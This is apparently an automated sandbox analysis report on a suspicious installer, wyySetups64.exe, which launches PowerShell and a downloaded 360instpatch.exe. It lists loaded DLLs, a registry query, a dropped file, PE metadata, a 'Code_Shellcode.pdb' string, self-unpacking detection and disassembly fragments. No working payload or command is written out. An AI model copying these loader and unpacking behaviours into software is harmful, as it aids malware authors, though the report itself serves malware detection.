Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: dinput8.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: msimg32.dll
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: version.dll
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: wininet.dll
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Downloads\360instpatch.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll

Source: C:\Users\user\Desktop\wyySetups64.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\Downloads\360instpatch.exe

File written: C:\Users\user\AppData\Local\Temp\!@t3CA2.tmp.dir\setup.ini

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Downloads\360instpatch.exe

Window detected: Number of UI elements: 24

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: wyySetups64.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: wyySetups64.exe

Static file information: File size 3213672 > 1048576

Source: wyySetups64.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x2c2200

Source: wyySetups64.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: \Release\Code_Shellcode.pdb source: wyySetups64.exe, wyySetups64.exe, 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, wyySetups64.exe, 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\249110\out\Release\360P2SP.pdb source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr
Source:	Binary string: c:\vmagent_new\bin\joblist\312713\out\Release\sites.pdbX source: 360instpatch.exe, 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmp, sites.dll.8.dr
Source:	Binary string: \Release\Code_Shellcode.pdb(!!GCTL source: wyySetups64.exe, 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, wyySetups64.exe, 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\832091\out\Release\360Installer.pdb source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr
Source:	Binary string: c:\vmagent_new\bin\joblist\312713\out\Release\sites.pdb source: 360instpatch.exe, 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmp, sites.dll.8.dr

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\wyySetups64.exe

Unpacked PE file: 0.2.wyySetups64.exe.400000.0.unpack

Source: C:\Users\user\Desktop\wyySetups64.exe

Code function: 0_2_10001170 LoadLibraryW,GetProcAddress,GetProcAddress,GetModuleHandleA,RegisterClassW,CreateWindowExW,GetMessageW,TranslateMessage,DispatchMessageW,

0_2_10001170

Source: wyySetups64.exe	Static PE information: real checksum: 0x318112 should be: 0x317541
Source: wyySetups64.exe.0.dr	Static PE information: real checksum: 0x318112 should be: 0x317541

Source: wyySetups64.exe	Static PE information: section name: .didata
Source: wyySetups64.exe.0.dr	Static PE information: section name: .didata

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03384345 push ecx; ret	1_2_03384358
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0339A168 push eax; ret	1_2_0339A119
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_0339A0B8 push eax; ret	1_2_0339A119
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03392471 push ebp; retf	1_2_03392474
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03392470 push ebp; retf	1_2_03392474
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03392450 push ebp; retf	1_2_03392474
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00BD9DF5 push ecx; ret	1_2_00BD9E08
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00BEFE9A push ecx; ret	1_2_00BEFEBF
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B2CAFF push eax; retf	1_2_00B2CB00
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B2CB07 pushad ; retf	1_2_00B2CB08
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B2CB0B push 701000CBh; retf	1_2_00B2CB10
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B2CB61 pushfd ; retf	1_2_00B2CB64
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_00B29DCC push ecx; ret	1_2_00B29DDF
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Code function: 1_2_03203D04 push ecx; ret	1_2_03203D17
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03540C7F push eax; retf 0070h	6_2_03540CBA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03540CCF push eax; retf 0070h	6_2_03540CDA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_03540CBF push eax; retf 0070h	6_2_03540CCA
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B94821 push ecx; ret	8_2_00B94834
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B27330 push ecx; mov dword ptr [esp], 00000000h	8_2_00B27331
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B954F9 push ecx; ret	8_2_00B9550C
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B139B0 push ecx; mov dword ptr [esp], 00000000h	8_2_00B139B1
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B13C30 push ecx; mov dword ptr [esp], 00000000h	8_2_00B13C31
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF38EFC push ecx; ret	8_2_6BF38F0F
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BEE2640 push ecx; mov dword ptr [esp], 00000000h	8_2_6BEE2641
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF3BD51 push ecx; ret	8_2_6BF3BD64
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CDDE944 push ecx; ret	8_2_6CDDE957
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CD22500 push ecx; mov dword ptr [esp], 00000000h	8_2_6CD22501
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CDABDEB push edi; retf	8_2_6CDABDF5
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B28144 push dword ptr [ebp+ebp*8+3Bh]; ret	9_2_00B28149
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B94821 push ecx; ret	9_2_00B94834
